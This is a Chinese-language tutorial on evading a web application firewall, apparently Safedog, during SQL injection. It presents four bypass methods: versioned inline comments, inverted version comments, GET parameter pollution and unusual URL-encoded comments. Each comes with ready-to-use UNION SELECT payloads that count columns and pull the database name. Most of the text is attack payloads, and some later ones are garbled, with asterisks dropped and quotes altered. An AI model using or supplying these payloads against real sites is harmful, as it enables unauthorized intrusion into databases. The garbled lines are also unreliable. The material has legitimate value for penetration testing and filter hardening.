sql注入篇–绕过WAF
WAF就是网络安全防火墙。
一般我们有四种方式绕过WAF:
1.内联绕过安全狗
/*!44544 关键字 */
?id=1' /*!42444and*/ '1'='1
判断列数
?id=1' /*!42444order*/ /*!42444by*/ 3 --+
判断显示位
?id=-1' /*!42444union*/ /*!42444select*/ 1,2,3 --+
获取当前数据库
?id=-1' /*!42444union*/ /*!42444select*/ 1,/*!42444database*//*!42444()*/,3 --+
2.内联反向思维
/*!大于版本号*/注释内容
?id=1' /*!84544*/and '1'='1
3.get传参绕过(参数污染)
参数名=/*&正常参数&参数名=*/ ;
例:a=/*&id=1&b=*/
?id=1' and '1'='1
?a=/*&id=1' and '1'='1&b=qr*/
4.奇怪的url编码绕过
/*%!字母*/
?id=1' /*%!s*/and '1'='1
?id=1' /*%!sw*/order/*%!sw*/by 4--+
?id=-1' /*%!sw*/union/*%!sw*/select 1,database/*%!sw*/(),3--+
下面的演示我是用的WAF都是安全狗
1)使用内联注释正常绕过
内联注释格式:/*!5位数字,但是不能大于版本号 关键字 */
然后我们使用如下:/!44544order//!23444by/ 3–+
成功绕过。接着我们获取信息:?id=-1’ /!44544union//!43344select/ 1,/!44544database//!33442()/,3 --+
2)内联反向思维绕过
内联注释格式:/*!5位数字,数字要大于版本号 注释内容 */
?id=-1’ /!84544sansan/union/!83444susncs/select 1,/!73542susncs/database/!85434susncs/(),3 --+
3)使用GET传参绕过
在原有的get参数基础上添加而外的参数,基本格式:
参数名=/&正常参数&参数名=/ ;
例:a=/&id=1&b=/
?a=/&id=-1’ union select 1,database(),3–+ &b=/
4)URL编码绕过
常见URL编码:
'=%27;"=%22;空格=%20;回车=%0d;换行=%0a;NULL=%00;水平制表=%09;垂直制表=%0b
更多编码查询:http://yige.org/tags/ref_urlencode.php
但是注意,以前可以利用常见的URL编码绕过,但是现在不行,需要使用一些奇怪的URL编码进行绕过;
例:%!字母 ,然后用**/*URL编码*/**做注释 如果一个URL编码不行,可以采用输入多个URL编码
?id=-1’ union/%!c/ select 1,/%!m/ database/%!w/ (),3 --+